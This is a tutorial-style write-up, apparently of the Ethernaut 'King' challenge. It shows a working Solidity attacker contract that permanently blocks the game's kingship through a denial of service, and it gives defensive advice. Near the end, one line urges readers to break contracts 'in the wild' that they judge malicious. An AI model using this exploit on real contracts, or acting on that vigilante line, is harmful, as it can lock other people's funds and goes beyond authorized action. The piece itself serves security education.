Ethernaut - Lvl 9: King
Tags: ethereum, tutorial, security, smartcontract
Published: 2023-07-09 19:42:43

###### _Requirements: basic knowledged of smart contracts, Remix IDE._

## The challenge 📄

Prevent the owner of the contract from claiming kinship.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}
```

## Studying `King.sol` 👩‍🏫👨‍🏫

`King` is a game that allows players to send ether in order to claim kinship and winning the balance in the contract as a prize, each new player needs to send an amount equal or greater than the previous, so basically this is a ponzi scheme.

The owner doesn't need to match the current prize to re-claim the kinship it only needs to send ether to the contract. Not very fair.

The contract keeps tracks of who is the owner and the current king.

## The Hack 💣💣

To break this unfair game we need to launch an Denial Of Service on `king` to prevent the owner from claiming kinship.

Contrary to EOAs, transactions of ether to contracts are verified to check if the recipient can receive ether, if the contract does not have a mechanism to handle the incoming transaction the transaction reverts.

We will write a contract from which we will claim the kinship with no mechanism to receive ether so preventing the owner or any new player from playing this unfair game ever again.

```solidity
contract Attacker {
    error Attacker__CallFailed();

    function attack(address _kingAddr) external payable {
        (bool success,) = payable(_kingAddr).call{value: msg.value}("");
        if(!success) revert Attacker__CallFailed();
    }
}
```

`attack` takes the address of `King` and with `call` send the ether to the game to claim the kinship.

Deploy `Attacker` and call `attack` with current `prize` as `msg.value`.

After the transaction is mined, verify who is the king:

```solidity
await contract._king() // should return the address of `Attacker`
```

Submit the instance to complete the level.

## Conclusion 📓📔

This game was easy to break because in a single transaction it performed multiple calls, receiving and _pushing_ ether to the new king. Even though it was nice breaking it, is important to discuss a few safety mechanism to prevent malicious actors from breaking your contract or from poorly design contract that can cause an unintended DoS.

It is recommended to avoid batching calls in a single transaction if possible, and instead making the calls in separate transactions as shown in this [withdrawal pattern](https://swcregistry.io/docs/SWC-113). Always assume a call could fail and implement contract logic to handle those failed calls.

And if you see a malicious contract in the wild and you can break it, just do it!

## Further reading 🔍🔎

- [Sending Ether (transfer, send, call)](https://solidity-by-example.org/sending-ether/).
- [Ethereum Smart Contract Best Practices: Denial Of Service](https://consensys.github.io/smart-contract-best-practices/attacks/denial-of-service/)
- [SWC-113: DoS with Failed Call](https://swcregistry.io/docs/SWC-113)